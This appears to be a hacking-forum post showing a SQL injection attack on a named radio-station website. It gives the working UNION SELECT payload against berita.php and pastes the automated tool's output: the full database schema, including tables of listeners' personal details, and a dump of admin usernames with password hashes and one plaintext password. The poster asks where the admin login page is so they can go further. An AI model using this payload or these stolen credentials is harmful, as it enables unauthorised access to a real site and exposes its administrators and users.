[SQLi] http://www.mstrifm.com

Problem: where is the admin directory? i juz go to /config, and the username & passwd used there is not from the mysql table.

Database info:Database: mstri_mstri
User: mstri_select@localhost
Version: 5.0.45-community-log
Dump:

[+] URL:http://www.mstrifm.com/berita.php?id=-69+union+select+1,darkc0de,3,4,5,6,7,8,9,10,11,12
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: mstri_mstri
User: mstri_select@localhost
Version: 5.0.45-community-log
[+] Showing Tables & Columns from database "mstri_mstri"
[+] 14:44:30
[+] Number of Tables: 29

[Database]: mstri_mstri
[Table: Columns]
[0]about: id,about_head_id,about,about_en
[1]about_head: about_head_id,about_head,about_head_en
[2]admin: id,name,password,last_login,status
[3]aktivitas: aktivitas_id,aktivitas_title,aktivitas_title_en,place_n_time,aktivitas_desc,aktivitas_desc_en,status
[4]aktivitas_image: aktivitas_image_id,aktivitas_id,aktivitas_image_name,aktivitas_image_desc,aktivitas_image_desc_en,image_type
[5]aktivitas_upcoming: aktivitas_upcoming_id,aktivitas_upcoming,aktivitas_upcoming_en,aktivitas_upcoming_place_n_time,aktivitas_upcoming_registrasi,aktivitas_upcoming_registrasi_en,aktivitas_upcoming_closed
[6]banner_baris: id,title,title_en,description,description_en,link,status
[7]banner_bottom: id,name,link,status
[8]banner_top: id,image_name,link,status
[9]banner_trisakti: id,image_name,link,status
[10]bursa_akademia: id,nama,telp,deskripsi,waktu,status
[11]crew: crew_id,crew_name,friendster_link,crew_image,image_type,status
[12]cv: id,nama,gender,dob,alamat,telp,hp,email,pendidikan,pend_lain,institusi,jurusan,posisi,about_me,alasan,image,waktu
[13]details: id,millist,millist_link,email,phone,fax,request_sms,request_phone1,request_phone2,iklan_tahun,iklan_efektif,iklan_efektif_en,iklan_spot,iklan_discount,alf_phone,alf_email
[14]iklan: id,iklan_head_id,durasi,durasi_en,prime,regular
[15]iklan_head: iklan_head_id,iklan_head,iklan_head_en
[16]iklan_time: id,prime,regular1,regular2
[17]iklan_time_head: iklan_time_id,prime,prime_en,regular1,regular1_en,regular2,regular2_en
[18]kritik_dan_saran: id,nama,email,deskripsi,waktu,ip
[19]news: news_id,news_title,news_title_en,news_short_desc,news_short_desc_en,news_content,news_content_en,news_time,author,image,image_type,status
[20]polling: polling_option_id,polling_option,polling_option_en,voted
[21]polling_question: polling_id,polling_question,polling_question_en,polling_closed
[22]programs: programs_id,days_id,programs_time,programs_name,programs_name_en,programs_short_desc,programs_short_desc_en,programs_desc,programs_desc_en,image
[23]programs_special: id,nama,nama_en,waktu,waktu_en,programs_desc,programs_desc_en,image,status
[24]request: request_id,nama,alamat,telp,email,artist,song,untuk,jam,hari,time_entered,status
[25]request_history: id,request_id,nama,alamat,telp,email,artist,song,untuk,jam,hari,time_entered,status
[26]running_text: id,running_text,running_text_en
[27]streaming_link: id,image_name,link,status
[28]topten: chart_no

[-] [14:45:52]
[-] Total URL Requests 195
[-] Done
[+] URL:http://www.mstrifm.com/berita.php?id=-69+union+select+1,darkc0de,3,4,5,6,7,8,9,10,11,12
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: mstri_mstri
User: mstri_select@localhost
Version: 5.0.45-community-log
[+] Dumping data from database "mstri_mstri" Table "admin"
[+] Column(s) ['id', 'name', 'password']
[+] 14:46:47
[+] Number of Rows: 10

[0] 1:fajar:891d08754b7747fd368d3b0c65e5171a
[1] 2:alfin:891d08754b7747fd368d3b0c65e5171a
[2] 3:vanda:891d08754b7747fd368d3b0c65e5171a
[3] 4:ita:891d08754b7747fd368d3b0c65e5171a
[4] 6:dakka:2ecd36883a04f211775f2ea429646698
[5] 7:aca:891d08754b7747fd368d3b0c65e5171a
[6] 8:hendra:22284fb6df76e1af976ca914db3ece20
[7] 10:petunia:petunia
[8] 11:null-ident:81dc9bdb52d04dc20036dbd8313ed055
[9] 12:wiflRmitye:0eeb41fdd1c7ec4b7f2c14982f443056

[-] [14:46:50]
[-] Total URL Requests 11
[-] Done